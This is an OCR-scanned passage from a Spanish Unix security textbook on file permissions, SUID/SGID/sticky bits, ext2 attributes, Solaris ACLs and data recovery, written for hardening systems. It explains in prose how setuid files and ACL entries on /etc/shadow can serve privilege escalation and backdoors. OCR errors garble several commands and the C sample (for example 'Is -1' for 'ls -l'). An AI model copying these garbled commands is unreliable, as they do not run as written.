significado de estos clos ultimos se explicara en el punto siguiente). Entre los tres campos del valor 
simbolico no se insertan espacios: 

anita:~# Is -1 /tmp/fichero 

-r 1 root other 

anita:~# chmod +x /tmp/fichero 
anita:~# Is -1 /tmp/fichero 
-r-x — x — x 1 root other 

anita:~# chmod og-x /tmp/fichero 
anita:~# Is -1 /tmp/fichero 

-r-x 1 root other 

anita:~# chmod ug+rwx /tmp/fichero 
anita:~# Is -1 /tmp/fichero 

-rwxrwx 1 root other 

anita: ~# 

Esta forma de trabajo simbolica es menos utilizada en la practica que la forma octal, pero en cier- 
tas situaciones es muy util, por ejemplo si deseamos activar todos los permisos de ejecucion de un 
archivo o si queremos setuidarlo: un simple chmod +x o chmod u+s es suficiente en estos casos, y 
evitamos preocuparnos por si modificamos el resto de permisos. 

Quizas despues de ver el procedimiento de modification de los permisos de un fichero, este puede pa- 
recer clemasiado complicado y arcaico para un sistema operativo moderno; a fin de cuentas, mucha 
gente prefiere gestores graficos de permisos - igual que prefiere gestores graficos para otras tareas 
de administration — , programas que dan todo hecho y no obligan al administrador a ‘complicarse’, 
llenos de menus clesplegables y dialogos que una y otra vez preguntan si realmente deseamos modi- 
ficar cierto permiso ($Esta usted seguro? l Realmente seguro? $Es mayor de edad? j,Me lo jura?). 
Incluso esas personas aseguran que el procedimiento grafico es mucho mas claro y mas potente que 
el que Unix ofrece en modo texto. Nada mas lejos de la realidad; por un lado, aunque todo el mundo 
reconoce que la explication detallada de como funcionan los permisos de ficheros es algo farragosa, 
en la practica el convertir una terna de bits rwx a octal o viceversa es una tarea trivial, algo que 
ningun administrador con unas cuantas horas de practica ni siquiera necesita pensar. Por otro, 
algo mas importante que la facilidad o dificultad de modificar los permisos: su robustez; hemos de 
pensar que este modelo de protection esta vigente clesde hace casi treinta aiios y no ha cambiado 
absolutamente nada. Si en todo este tiempo no se ha modificado el mecanismo, obviamente es 
porque siempre ha funcionado - y lo sigue haciendo - bien. 

4.4 Los bits SUID, SGID y sticky 

Habitualmente, los permisos de los archivos en Unix se corresponden con un numero en octal que 
varfa entre 000 y 777; sin embargo, existen unos permisos especiales que hacen variar ese numero 
entre 0000 y 7777: se trata de los bits de permanencia (1000), SGID (2000) y SUID (4000). 

El bit de SUID o setuid se activa sobre un fichero anadiendole 4000 a la representation octal de 
los permisos del archivo y otorgandole ademas permiso de ejecucion al propietario del mismo; al 
hacer esto, en lugar de la x en la primera terna de los permisos, aparecera una s o una S si no 
hemos otorgado el permiso de ejecucion correspondiente (en este caso el bit no tiene efecto): 


902 Feb 9 05:05 /tmp/fichero 
902 Feb 9 05:05 /tmp/fichero 
902 Feb 9 05:05 /tmp/fichero 
902 Feb 9 05:05 /tmp/fichero 
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anita:~# chmod 
anita:~# chmod 
anita:~# Is -1 
-rwsrwxrwx 1 
anita:~# Is -1 
-r-Sr— r— 1 
anita: ~# 


4777 /tmp/filel 
4444 /tmp/file2 
/tmp/filel 
root other 

/tmp/f ile2 
root other 


Feb 

9 

17:51 

Feb 

9 

17:51 


/tmp/filel* 
/tmp/f ile2* 


El bit SUID activado sobre un fichero indica que todo aquel que ejecute el archivo va a tener durante 
la ejecucion los mismos privilegios que quien lo creo; dicho de otra forma, si el administrador crea 
un fichero y lo setuida, todo aquel usuario que lo ejecute va a disponer, hasta que el programa 
finalice, de un nivel de privilegio total en el sistema. Podemos verlo con el siguiente ejemplo: 


luisa: /home/toni# cat testsuid.c 
#include <stdio.h> 

#include <unistd.h> 


main() { 

printfC'UID: %d, EUID: °/ 0 d\n" ,getuid() ,geteuid() ) ; 

> 

luisa: /home/toni# cc -o testsuid testsuid.c 
luisa: /home/toni# chmod u+s testsuid 
luisa: /home/toni# Is -1 testsuid 

-rwsr-xr-x 1 root root 4305 Feb 10 02:34 testsuid 

luisa: /home/toni# su toni 
luisa: id 

uid=1000(toni) gid=100(users) groups=100 (users) 
luisa: ~$ ./testsuid 
UID: 1000, EUID: 0 
luisa: ~$ 

Podemos comprobar que el usuario toni, sin ningun privilegio especial en el sistema, cuando ejecuta 
nuestro programa setuidado de prueba esta trabajando con un EUID ( Effective UID) 0, lo que le 
otorga todo el poder del administrador (fijemonos que este ultimo es el propietario del ejecutable); 
si en lugar de este codigo el ejecutable fuera una copia de un shell , el usuario toni tendria todos los 
privilegios del root mientras no finalice la ejecucion, es decir, hasta que no se teclee exit en la linea 
de ordenes. 

Todo lo que acabamos de comentar con respecto al bit setuid es aplicable al bit setgid pero a 
nivel de grupo del fichero en lugar de propietario: en lugar de trabajar con el EUID del propietario, 
todo usuario que ejecute un programa setgidado tendra los privilegios del grupo al que pertenece 
el archivo. Para activar el bit de setgid sumaremos 2000 a la representation octal del permiso del 
fichero y ademas habremos de darle permiso de ejecucion a la terna de grupo; si lo hacemos, la s o 
S aparecera en lugar de la x en esta terna. Si el fichero es un directorio y no un archivo piano, el bit 
setgid afecta a los ficheros y subdirectories que se creen en el: estos tendran como grupo propieta- 
rio al mismo que el directorio setgidado, siempre que el proceso que los cree pertenezea a dicho grupo. 

Pero, ^como afecta todo esto a la seguridad del sistema? Muy sencillo: los bits de setuid y setgid dan 
a Unix una gran flexibilidad, pero constituyen al mismo tiempo la mayor fuente de ataques internos 
al sistema (entendiendo por ataques internos aquellos realizados por un usuario - autorizado o no 
desde la propia maquina, generalmente con el objetivo de aumentar su nivel de privilegio en la 
misma). Cualquier sistema Unix tiene un cierto numero de ejecutables setuidados y/o setgidados. 
Cada uno de ellos, como acabamos de comentar, se ejecuta con los privilegios de quien lo creo (ge- 
neralmente el root u otro usuario con ciertos privilegios) lo que directamente implica que cualquier 
usuario tiene la capacidad de lanzar tareas que escapen total o parcialmente al control del sistema 



4.4. LOS BITS SUID, SGID Y STICKY 


55 


operativo: se ejecutan en modo privilegiado si es el administrador quien creo los ejecutables. Evi- 
dentemente, estas tareas han de estar controladas de una forma exhaustiva, ya que si una de ellas 
se comporta de forma anormal (un simple core dump) puede causar daiios irreparables al sistema 6 ; 
tanto es asi que hay innumerables documentos que definen, o lo intentan, pautas de programacion 
considerada ‘segura’ (en la seccion 5.5 se citan algunos de ellos y tambien se explican algunas de 
estas tecnicas). Si por cualquier motivo un programa setuidado falla se asume inmediatamente 
que presenta un problema de seguridad para la maquina, y se recomienda resetear el bit de setuid 
cuanto antes. 

Esta claro que asegurar completamente el comportamiento correcto de un programa es muy dificil, 
por no decir imposible; cada cierto tiempo suelen aparecer fallos (bugs) en ficheros setuidados de 
los diferentes clones de Unix que ponen en peligro la integridad del sistema. Entonces, /por que 
no se adopta una solution radical, como eliminar este tipo de archivos? Hay una sencilla razon: 
el riesgo que presentan no se corre inutilmente, para tentar al azar, sino que los archivos que se 
ejecutan con privilegios son estrictamente necesarios en Unix, al menos algunos de ellos. Veamos 
un ejemplo: un hchero setuidado clasico en cualquier cion es /bin/passwd, la orclen para que los 
usuarios puedan cambiar su contraseha de entrada al sistema. No hace falta analizar con mucho 
detalle el funcionamiento de este programa para darse cuenta que una de sus funciones consiste en 
modificar el hchero de claves (/etc/passwd o /etc/shadow). Esta claro que un usuario per se no 
tiene el nivel de privilegio necesario para hacer esto (incluso es posible que ni siquiera pueda leer el 
hchero de claves), por lo que frente a este problema tan simple existen varias soluciones: podemos 
asignar permiso de escritura para todo el mundo al hchero de contrasenas, podemos clenegar a los 
usuarios el cambio de clave o podemos obligarles a pasar por la sala de operaciones cada vez que 
quieran cambiar su contraseha. Parece obvio que ninguna de ellas es apropiada para la seguridad 
del sistema (quizas la ultima lo sea, pero es impracticable en maquinas con un niimero de usuarios 
considerable). Por tanto, debemos asumir que el bit de setuid en /bin/passwd es imprescindible 
para un correcto funcionamiento del sistema. Sin embargo, esto no siempre sucede asi: en un sis- 
tema Unix instalado out of the box el niimero de hcheros setuidados suele ser mayor de cincuenta; 
sin perjudicar al correcto funcionamiento de la maquina, este niimero se puede reducir a menos de 
cinco, lo que viene a indicar que una de las tareas de un administrador sobre un sistema recien 
instalado es minimizar el niimero de hcheros setuidados o setgidados. No obstante, tampoco es 
conveniente eliminarlos, sino simplemente resetear su bit de setuid mediante chmod: 

luisa: ~# Is -1 /bin/ping 
-r-sr-xr-x 1 root bin 
luisa:~# chmod -s /bin/ping 
luisa: ~# Is -1 /bin/ping 
-r-xr-xr-x 1 root bin 
luisa: ~# 

Tambien hemos de estar atentos a nuevos hcheros de estas caracteristicas que se localicen en la 
maquina; demasiadas aplicaciones de Unix se instalan por defecto con ejecutables setuidados cuando 
realmente este bit no es necesario, por lo que a la hora de instalar nuevo software o actualizar el 
existente hemos de acordarnos de resetear el bit de los hcheros que no lo necesiten. Especialmente 
grave es la aparicion de archivos setuidados de los que el administrador no tenia constancia (ni son 
aplicaciones del sistema ni un aplicaciones anadidas), ya que esto casi en el 100% de los casos indica 
que nuestra maquina ha sido comprometida por un atacante. Para localizar los hcheros con alguno 
de estos bits activos, podemos ejecutar la siguiente orden: 

luisa: ~# find / \( -perm -4000 -o -perm -2000 \) -type f -print 

Por otra parte, el sticky bit o bit de permanencia se activa sumandole 1000 a la representation octal 
de los permisos de un determinado archivo y otorgandole ademas permiso de ejecucion; si hacemos 
esto, veremos que en lugar de una x en la terna correspondiente al resto de usuarios aparece una t 
(si no le hemos dado permiso de ejecucion al archivo, aparecera una T): 

®Es especialmente preocupante la posibilidad de ejecutar codigo arbitrario ([One96]), comentada en la seccion 5.3. 


14064 May 10 1999 /bin/ping* 

14064 May 10 1999 /bin/ping* 
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anita:~# chmod 
anita:~# chmod 
anita:~# Is -1 
-rwxrwxrwt 1 
anita:~# Is -1 
-rwxrwxr-T 1 
anita: ~# 


1777 /tmp/filel 
1774 /tmp/f ile2 
/tmp/filel 
root other 

/tmp/f ile2 
root other 


Feb 

9 

17:51 

Feb 

9 

17:51 


/tmp/filel* 
/tmp/f ile2* 


Si el bit de permanencia de un fichero esta activado (recordemos que si aparece una T no lo esta) 
le estamos indicando al sistema operativo que se trata de un archivo muy utilizado, por lo que es 
conveniente que permanezca en memoria principal el mayor tiempo posible; esta option se utiliza- 
ba en sistemas antiguos que disponian de muy poca RAM, pero hoy en dia practicamente no se 
utiliza. Lo que si que sigue vigente es el efecto del sticky bit activado sobre un directorio: en este 
caso se indica al sistema operativo que, aunque los permisos ‘normales’ digan que cualquier usuario 
pueda crear y eliminar ficheros (por ejemplo, un 777 octal), solo el propietario de cierto archivo 
y el administrador pueden borrar un archivo guardado en un directorio con estas caracteristicas. 
Este bit, que solo tiene efecto cuando es activado por el administrador (aunque cualquier usuario 
puede hacer que aparezca una t o una T en sus ficheros y directories) , se utiliza principalmente en 
directories del sistema de ficheros en los que interesa que todos puedan escribir pero que no todos 
puedan borrar los datos escritos, como /tmp/ o /var/tmp/: si el equivalente octal de los permisos 
de estos directories fuera simplemente 777 en lugar de 1777, cualquier usuario podria borrar los 
ficheros del resto. Si pensamos que para evitar problemas podemos simplemente denegar la escri- 
tura en directories como los anteriores tambien estamos equivocados: muchos programas - como 
compiladores, editores o gestores de correo - asumen que van a poder crear ficheros en /tmp/ o 
/var/tmp/, de forma que si no se permite a los usuarios hacerlo no van a funcionar correctamente; 
por tanto, es muy recomendable para el buen funcionamiento del sistema que al menos el directorio 
/tmp/ tenga el bit de permanencia activado. 


Ya para finalizar, volvemos a lo que hemos comentado al principio de la section: el equivalente 
octal de los permisos en Unix puede variar entre 0000 y 7777. Hemos visto que podfamos sumar 
4000, 2000 o 1000 a los permisos ‘normales’ para activar respectivamente los bits setuid, setgid o 
sticky. Por supuesto, podemos activar varios de ellos a la vez simplemente sumando sus valores: en 
la situation poco probable de que necesitaramos todos los bits activos, sumarfamos 7000 a la terna 
octal 777: 


luisa:~# chmod 
luisa:~# Is -1 

1 

luisa:~# chmod 
luisa:~# Is -1 
-rwsrwsrwt 1 
luisa: ~# 


0 /tmp/f ichero 
/tmp/f ichero 
root root 

7777 /tmp/f ichero 
/tmp/f ichero 
root root 


0 Feb 9 05:05 /tmp/fichero 


0 Feb 9 05:05 /tmp/fichero* 


Si en lugar de especificar el valor octal de los permisos queremos utilizar la forma simbolica de 
chmod, utilizaremos +t para activar el bit de permanencia, g+s para activar el de setgid y u+s para 
hacer lo mismo con el de setuid ; si queremos resetearlos, utilizamos un signo ‘ en lugar de un 
‘ + ; en la linea de ordenes. 


4.5 Atributos de un archivo 

En el sistema de ficheros ext2 ( Second Extended File System) de Linux existen ciertos atributos 
para los ficheros que pueden ayudar a incrementar la seguridad de un sistema. Estos atributos son 
los mostrados en la tabla 4.1. 


De todos ellos, de cara a la seguridad algunos no nos interesan demasiado, pero otros si que se deben 
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Atributo 

Significado 

A 

Don 't update Atime 

S 

Synchronous updates 

a 

Append only 

c 

Compressed file 

i 

Immutable file 

d 

No Dump 

s 

Secure deletion 

u 

Undeletable file 


Tabla 4.1: Atributos de los archivos en ext2fs. 


tener en cuenta. Uno de los atributos interesantes - quizas el que mas - es 'a’; tan importante es 
que solo el administrador tiene el privilegio suficiente para activarlo o desactivarlo. El atributo ‘a’ 
sobre un fichero indica que este solo se puede abrir en modo escritura para aiiadir datos, pero nunca 
para eliminarlos. iQue tiene que ver esto con la seguridad? Muy sencillo: cuando un intruso ha 
conseguido el privilegio suficiente en un sistema atacado, lo primero que suele hacer es borrar sus 
huellas; para esto existen muchos programas (denominados zappers, rootkits. . . ) que, junto a otras 
funciones, eliminan estructuras de ciertos ficheros de log como lastlog, wtmp o utmp. Asf consiguen 
que cuando alguien ejecute last, who, users, w o similares, no vea ni rastro de la conexion que el 
atacante ha realizado a la maquina; evidentemente, si estos archivos de log poseen el atributo 'a 1 
activado, el pirata y sus programas lo tienen mas dificil para borrar datos de ellos. Ahora viene 
la siguiente cuestion: si el pirata ha conseguido el suficiente nivel de privilegio como para poder 
escribir - borrar - en los ficheros (en la mayoria de Unices para realizar esta tarea se necesita ser 
root), simplemente ha de resetear el atributo 'a 1 del archivo, eliminar los datos comprometedores 
y volver a activarlo. Obviamente, esto es asi de simple, pero siempre hemos de recordar que en las 
redes habituales no suelen ser atacadas por piratas con un minimo nivel de conocimientos, sino por 
los intrusos mas novatos de la red; tan novatos que generalmente se limitan a ejecutar programas 
desde sus flamantes Windows sin tener ni la mas remota idea de lo que estan haciendo en Unix, de 
forma que una proteccion tan elemental como un fichero con el flag ‘ a ’ activado se convierte en 
algo imposible de modificar para ellos, con lo que su acceso queda convenientemente registrado en 
el sistema. 

Otro atributo del sistema de archivos ext2 es ‘ i ’ (fichero inimitable) ; un archivo con este flag 
activado no se puede modificar de ninguna forma, ni ahadiendo datos ni borrandolos, ni eliminar el 
archivo, ni tan siquiera enlazarlo mediante In. Igual que sucedfa antes, solo el administrador puede 
activar o desactivar el atributo ‘ i ’ de un fichero. Podemos aprovechar esta caracteristica en los 
archivos que no se modifican frecuentemente, por ejemplo muchos de los contenidos en /etc/ (fi- 
cheros de configuracion, scripts de arranque. . . incluso el propio fichero de contrasehas si el aiiadir o 
eliminar usuarios tampoco es frecuente en nuestro sistema); de esta forma conseguimos que ningiin 
usuario pueda modificarlos incluso aunque sus permisos lo permitan. Cuando activemos el atributo 
1 i ; en un archivo hemos de tener siempre en cuenta que el archivo no va a poder ser modificado por 
nadie, incluido el administrador, y tampoco por los programas que se ejecutan en la maquina; por 
tanto, si activaramos este atributo en un fichero de log , no se grabarfa ninguna informacion en 
el, lo que evidentemente no es conveniente. Tambien hemos de recordar que los archivos tampoco 
van a poder sen enlazados, lo que puede ser problematico en algunas variantes de Linux que utilizan 
enlaces duros para la configuracion de los ficheros de arranque del sistema. 

Atributos que tambien pueden ayudar a implementar una correcta politica de seguridad en la 
maquina, aunque menos importantes que los anteriores, son 's’ y 'S’. Si borramos un archivo con 
el atributo ‘ s 1 activo, el sistema va a rellenar sus bloques con ceros en lugar de efectuar un simple 
unlinkO, para asi dificultar la tarea de un atacante que intente recuperarlo; realmente, para un pi- 
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rata experto esto no supone ningun problema, simplemente un retraso en sus propositos: en el punto 
4.7 se trata mas ampliamente la amenaza de la recuperation de archivos, y tambien ahi se comen- 
ta que un simple relleno de bloques mediante bzeroO no lrace que la informacion sea irrecuperable. 

Por su parte, el atributo ' S ’ sobre un fichero hace que los cambios sobre el archivo se escriban 
inmediatamente en el disco en lugar de esperar el sync del sistema operativo. Aunque no es lo 
habitual, bajo ciertas circunstancias un fichero de log puede perder informacion que aun no se haya 
volcado a disco: imaginemos por ejemplo que alguien conecta al sistema y cuando este registra la 
entrada, la maquina se apaga subitamente; toda la informacion que aun no se haya grabado en 
disco se perdera. Aunque como decimos, esto no suele ser habitual - ademas, ya hemos hablado de 
las ventajas de instalar un S.A.I. si nuestro sistema se apaga frecuentemente sf que nos puede 
interesar activar el bit 'S’ de ciertos ficheros importantes. 

Ya hemos tratado los atributos del sistema de ficheros ext2 que pueden incrementar la seguri- 
dad de Linux; vamos a ver ahora, sin entrar en muchos detalles (recordemos que tenemos a nuestra 
disposition las paginas del manual) como activar o desactivar estos atributos sobre ficheros, y tam- 
bien como ver su estado. Para lo primero utilizamos la orden chattr, que recibe como parametros 
el nombre del atributo junto a un signo ‘ + ’ o 1 - 1 , en funcion de si deseamos activar o desactivar el 
atributo, y tambien el nombre de fichero correspondiente. Si lo que deseamos es visualizar el estado 
de los diferentes atributos, utilizaremos lsattr, cuya salida indicara con la letra correspondiente 
cada atributo del fichero o un signo - en el caso de que el atributo no este activado: 

luisa:~# lsattr /tmp/f ichero 

/tmp/f ichero 

luisa:~# chattr +a /tmp/f ichero 
luisa:~# chattr +Ss /tmp/f ichero 
luisa:~# lsattr /tmp/f ichero 
s — S-a — /tmp/fichero 
luisa:~# chattr -sa /tmp/fichero 
luisa:~# lsattr /tmp/fichero 

S /tmp/fichero 

luisa: ~# 

4.6 Listas de control de acceso: ACLs 

Las listas de control de acceso (ACLs, Access Control Lists) proveen de un nivel adicional de se- 
guridad a los ficheros extendiendo el clasico esquema de permisos en Unix: mientras que con estos 
ultimos solo podemos especificar permisos para los tres grupos de usuarios habituales (propieta- 
rio, grupo y resto), las ACLs van a permitir asignar permisos a usuarios o grupos concretos; por 
ejemplo, se pueden otorgar ciertos permisos a clos usuarios sobre unos ficheros sin necesidad de 
incluirlos en el mismo grupo. Este mecanismo esta disponible en la mayorfa de Unices (Solaris, 
AIX, HP-UX. . . ) , mientras que en otros que no lo proporcionan por defecto, como Linux, puede 
instalarse como un software adicional. A pesar de las agresivas campanas de marketing de alguna 
empresa, que justamente presumia de ofrecer este modelo de protection en sus sistemas operativos 
frente al ‘arcaico’ esquema utilizado en Unix, las listas de control de acceso existen en Unix desde 
hace mas de diez anos ([Com88]). 

Los ejemplos que vamos a utilizar aquf (orclenes, resultados. . . ) se han realizado sobre Solaris; 
la idea es la misma en el resto de Unices, aunque pueden cambiar las estructuras de las listas. Para 
obtener una excelente vision de las ACLs es recomendable consultar [Fri95], y por supuesto la docu- 
mentation de los diferentes clones de Unix para detalles concretos de cada manejo e implementation. 

La primera pregunta que nos debemos hacer sobre las listas de control de acceso es obvia: ^como 
las vemos? Si habitualmente queremos saber si a un usuario se le permite cierto tipo de acceso 
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sobre un fichero no tenemos mas que hacer un listado largo: 

anita: ~# Is -1 /usr/local/sbin/sshd 

-rwx 1 root bin 2616160 Apr 28 1997 /usr/local/sbin/sshd 

anita: ~# 

Viendo el resultado, directamente sabemos que el fichero sshd puede ser ejecutado, modificado y 
leido por el administrador, pero por nadie mas; sin embargo, no conocemos el estado de la lista 
de control de acceso asociada al archivo. Para ver esta lista, en Solaris se ha de utilizar la orden 
getf acl: 

anita:/# getfacl /usr/local/sbin/sshd 

# file: /usr/local/sbin/sshd 

# owner : root 

# group : bin 
user : : rwx 

group:: #effective: 

mask: 

other : 

anita: /# 

Acabamos de visualizar una lista de control de acceso de Solaris; en primer lugar se nos indica el 
nombre del fichero, su propietario y su grupo, todos precedidos por ‘ # ’ . Lo que vemos a continua- 
tion es la propia lista de control: los campos user, group y other son basicamente la interpretation 
que getfacl hace de los permisos del fichero (si nos fijamos, coincide con el resultado del Is -l). 
El campo mask es muy similar al umask clasico: define los permisos maximos que un usuario (a 
exception del propietario) o grupo puede tener sobre el fichero. Finalmente, el campo effective 
nos dice, para cada usuario (excepto el propietario) o grupo el efecto que la mascara tiene sobre los 
permisos: es justamente el campo que tenemos que analizar si queremos ver quien puede acceder 
al archivo y de que forma. 

Sin embargo, hasta ahora no hemos observado nada nuevo; podemos fijarnos que la estructura 
de la lista de control de acceso otorga los mismos permisos que las ternas clasicas. Esto es algo 
normal en todos los Unix: si no indicamos lo contrario, al crear un fichero se le asocia una ACL 
que coincide con los permisos que ese archivo tiene en el sistema (cada archivo tendra una lista 
asociada, igual que tiene unos permisos) ; de esta forma, el resultado anterior no es mas que la vision 
que getfacl tiene de los bits rwx del fichero ([Gal96c]). 

Lo interesante de cara a la protection de ficheros es extender los permisos clasicos del archivo, 
modificando su lista asociada. Esto lo podemos conseguir con la orden setfacl: 

anita: ~# setfacl -m user : toni : r-x /usr/local/sbin/sshd 
anita: ~# getfacl /usr/local/sbin/sshd 

# file: /usr/local/sbin/sshd 

# owner: root 

# group : bin 
user : : rwx 

user : toni : r-x #effective: 

group:: #effective: 

mask: 

other : 

anita: ~# 

Como vemos, acabamos de modificar la lista de control de acceso del archivo para asignarle a toni 
permiso de ejecucion y lectura sobre el mismo. La orden setfacl se utiliza principalmente de 
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tres formas: o bien anadimos entradas a la ACL, mediante la opcion -m seguida de las entradas 
que deseemos aiiadir separadas por comas (lo que hemos hecho en este caso, aunque no se han 
utilizado comas porque solo hemos anadido una entrada), o bien utilizamos el parametro -s para 
reemplazar la ACL completa (hemos de indicar todas las entradas, separadas tambien por comas), 
o bien borramos entradas de la lista con la opcion -d (de sintaxis similar a -m). Cada entrada de 
la ACL tiene el siguiente formato: 

tipo :UID|GID :permisos 

El tipo indica a quien aplicar los permisos (por ejemplo, user para el propietario del archivo, o 
mask para la mascara), el UID indica el usuario al que queremos asociar la entrada (como hemos 
visto, se puede utilizar tambien el login, y el GID hace lo mismo con el grupo (de la misma forma, 
se puede especificar su nombre simbolico). Finalmente, el campo de permisos hace referencia a los 
permisos a asignar, y puede ser especificado mediante shnbolos rwx- o de forma octal. 

Acabamos de indicar que el usuario toni tenga permiso de lectura y ejecucion en el archivo; no 
obstante, si ahora este usuario intenta acceder al hchero en estos modos obtendra un error: 

anita:/usr/local/sbin$ id 
uid=100(toni) gid=10(staff ) 
anita: /usr/local/sbin$ ./sshd 
bash: ./sshd: Permission denied 
anita: /usr/local/sbin$ 

^Que ha sucedido? Nada anormal, simplemente esta actuando la mascara sobre sus permisos (antes 
hemos dicho que debemos hjarnos en el campo effective, y aquf podemos comprobar que no se 
ha modificado). Para solucionar esto hemos de modificar el campo mask: 

anita: ~# setfacl -m mask:r-x /usr/local/sbin/sshd 
anita: ~# 

Si ahora toni intenta acceder al hchero para leerlo o ejecutarlo, ya se le va a permitir: 

anita: /usr/local/sbin$ id 
uid=100(toni) gid=10(staff ) 
anita: /usr/local/sbin$ ./sshd 
/etc/sshd_config: No such file or directory 

Aunque obtenga un error, este error ya no depende de la protection de los hcheros sino de la 
configuration del programa: el administrador obtenclria el mismo error. No obstante, si que hay 
diferencias entre una ejecucion de toni y otra del root, pero tambien son impuestas por el resto del 
sistema operativo Unix: toni no podria utilizar recursos a los que no le esta permitido el acceso, 
como puertos bien conocidos, otros hcheros, o procesos que no le pertenezcan. Hay que recordar 
que aunque un usuario ejecute un archivo perteneciente al root, si el hchero no esta setuidado los 
privilegios del usuario no cambian. Sucede lo mismo que pasaria si el usuario tuviera permiso de 
ejecucion normal sobre el hchero, pero este realizara tareas privilegiadas: podria ejecutarlo, pero 
obtendria error al intentar violar la protection del sistema operativo. 

En Solaris, para indicar que una lista de control de acceso otorga permisos no rchejados en los 
bits rwx se situa un simbolo ' + ’ a la derecha de los permisos en un listado largo: 

anita: ~# Is -1 /usr/local/sbin/sshd 

-rwx + 1 root bin 2616160 Apr 28 1997 /usr/local/sbin/sshd 

anita: ~# 

Otra caracteristica que tiene Solaris es la capacidad de leer las entradas de una lista de control 
de acceso desde un hchero en lugar de indicarlas en la linea de ordenes, mediante la opcion -f de 
setfacl; el formato de este hchero es justamente el resultado de getf acl, lo que nos permite copiar 
ACLs entre archivos de una forma muy comoda: 
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anita:~# getfacl /usr/local/sbin/sshd >/tmp/f ichero 
anita: ~# setfacl -f /tmp/f ichero /usr/local/sbin/demonio 
anita:~# getfacl /usr/local/sbin/demonio 

# file: /usr/local/sbin/demonio 

# owner : root 

# group : other 
user : : rwx 

user : toni : r-x #ef f ective : r-x 

group:: #eff ective: 

mask: r-x 

other : 

anita: ~# 

Esto es equivalente a utilizar una tuberia entre las dos ordenes, lo que producirfa el mismo resultado: 

anita: ~# getfacl /usr/local/sbin/sshd I setfacl -f - /usr/local/sbin/demonio 

Antes de finalizar este apartado dedicado a las listas de control de acceso, quizas sea conveniente 
comentar el principal problema de estos mecanismos. Esta claro que las ACLs son de gran ayuda 
para el administrador de sistemas Unix, tanto para incrementar la seguridad como para facilitar 
ciertas tareas; sin embargo, es facil darse cuenta de que se pueden convertir en algo tambien de 
gran ayuda, pero para un atacante que desee situar puertas traseras en las maquinas. Imaginemos 
simplemente que un usuario autorizado de nuestro sistema aprovecha el ultimo bug de sendmail 
(realmente nunca hay un ‘ultimo’) para conseguir privilegios de administrador en una maquina; 
cuando se ha convertido en root modifica la lista de control de acceso asociada a /etc/shadow y 
crea una nueva entrada que le da un permiso total a su login sobre este archivo. Una vez hecho 
esto, borra todo el rastro y corre a avisarnos del nuevo problema de sendmail, problema que 
rapidamente solucionamos, le damos las gracias y nos olvidamos del asunto. ^Nos olvidamos del 
asunto? Tenemos un usuario que, aunque los bits rwx no lo indiquen, puede modificar a su gusto un 
archivo crucial para nuestra seguridad. Contra esto, poco podemos hacer; simplemente comprobar 
frecuentemente los listados de todos los ficheros importantes (ahora entendemos por que aparece 
el simbolo ‘ + ’ junto a las ternas de permisos), y si encontramos que un fichero tiene una lista de 
control que otorga permisos no reflcjados en los bits rwx, analizar dicha lista mediante getfacl y 
verificar que todo es correcto. Es muy recomendable programar un par de shellscripts simples, que 
automaticen estos procesos y nos informen en caso de que algo sospechoso se cletecte. 

4.7 Recuperacion de datos 

La informatica forense es un campo que dfa a dia toma importancia; de la misma forma que la medi- 
cina forense es capaz de extraer informacion valiosa de un cadaver, incluso mucho clespues de haber 
muerto, la informatica forense pretende extraer informacion de un ‘cadaver’ computerizado (por 
ejemplo, un sistema en el que un intruso ha borrado sus huellas), tambien incluso mucho despues 
de haber ‘muerto’ (esto es, haber sido borrado). Aunque las tecnicas de recuperacion de datos en 
Unix se aplican habitualmente para potenciar la seguridad de un equipo (por ejemplo, como hemos 
dicho, para analizar el alcance real de un acceso no autorizado), estas mismas tecnicas utilizadas 
por un atacante pueden llegar a comprometer gravemente la seguridad del sistema: un intruso que 
haya conseguido cierto nivel de privilegio puede recuperar, por ejemplo, el texto piano de un docu- 
mento que un usuario haya cifrado con PGP y posteriormente borrado - almacenando unicamente 
el documento cifrado -. Aunque esto no es tan trivial como en otros sistemas menos seguros (en 
los que incluso se facilitan herramientas tipo undelete), parece claro que este tipo de actividades 
constituyen una amenaza a la seguridad (principalmente a la privacidad) de cualquier sistema Unix. 

En 1996, Peter Gutmann publico [Gut96], un excelente articulo donde se clemostro que la recu- 
peracion de datos de memoria (esto incluye por supuesto la memoria secundaria) es posible con un 
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equipamiento relativamente barato, de entre 1000 y 2500 dolares, incluso tras sobreescribir varias 
veces los datos a borrar. Hasta ese momento casi todo el trabajo realizado en el campo de la des- 
truction ‘segura’ de datos se habia limitado a estandares de organismos de clefensa estadounidenses 
([Cen91], [Age85]. . . Como el propio Gutmann explica, estos trabajos - aparte de quedar anticua- 
dos - no mostraban toda la realidad sobre la destruction y recuperation de datos, sino que ofrecian 
una information posiblemente inexacta; de esta forma las agendas estadounidenses confundian a la 
opinion publica (y a los servicios de paises hostiles) asegurando asi el acceso de la propia agenda a 
la information, y al mismo tiempo protegi'an sus propios datos mediante guias y estandares clasifi- 
cados para uso interno. 

El articulo de Gutmann se puede considerar la base de la informatica forense actual, un campo 
que como hemos dicho, dia a dfa cobra importancia; centrandonos en la rama de este campo rela- 
tiva a Unix (se le suele denominar Unix Forensics) podemos encontrar herramientas para realizar 
borrado seguro de datos, como srm ( Secure rm), del grupo de hackers THC ( The Hacker 's Choice ); 
este software implementa un algoritmo de borrado seguro basandose en [Gut96]. Dicho algoritmo 
efectua principalmente un procedimiento de sobreescritura casi 40 veces, haciendo un flush de la 
cache de disco despues de cada una de ellas; ademas trunca el fichero a borrar y lo renombra alea- 
toriamente antes de efectuar el unlink (), de forma que para un potential atacante sea mas diffcil 
obtener cualquier informacion del archivo una vez borrado. srm se distribuye dentro de un paquete 
software denominado secure-delete, donde tambien podemos encontrar otras herramientas rela- 
cionadas con la elimination segura de datos: smem (borrado seguro de datos en memoria principal), 
sf ill (borrado seguro de datos en el espacion disponible de un disco) y por ultimo sswap (borrado 
seguro de datos en el area de swap de Linux); todos los algoritmos utilizados en estos programas 
estan basados en el articulo de Gutmann del que antes hemos hablado. 

Otra herramienta importante a la hora de hablar de Unix Forensics, pero esta vez clesde el la- 
do opuesto a secure-delete esto es, desde el punto de vista de la recuperation de datos - es sin 
duda The Coroner 's Toolkit , obra de dos reconocidos expertos en seguridad: Wietse Venema y Dan 
Farmer. En verano de 1999, concretamente el 6 de agosto, en el IBM T.J. Watson Research Center 
de Nueva York estos dos expertos dieron una clase sobre Unix Forensics, en la que mostraban como 
extraer informacion de este sistema operativo, no solo del sistema de ficheros, sino tambien de la 
red, el sistema de logs o los procesos que se ejecutan en una maquina. Lamentablemente, The Coro- 
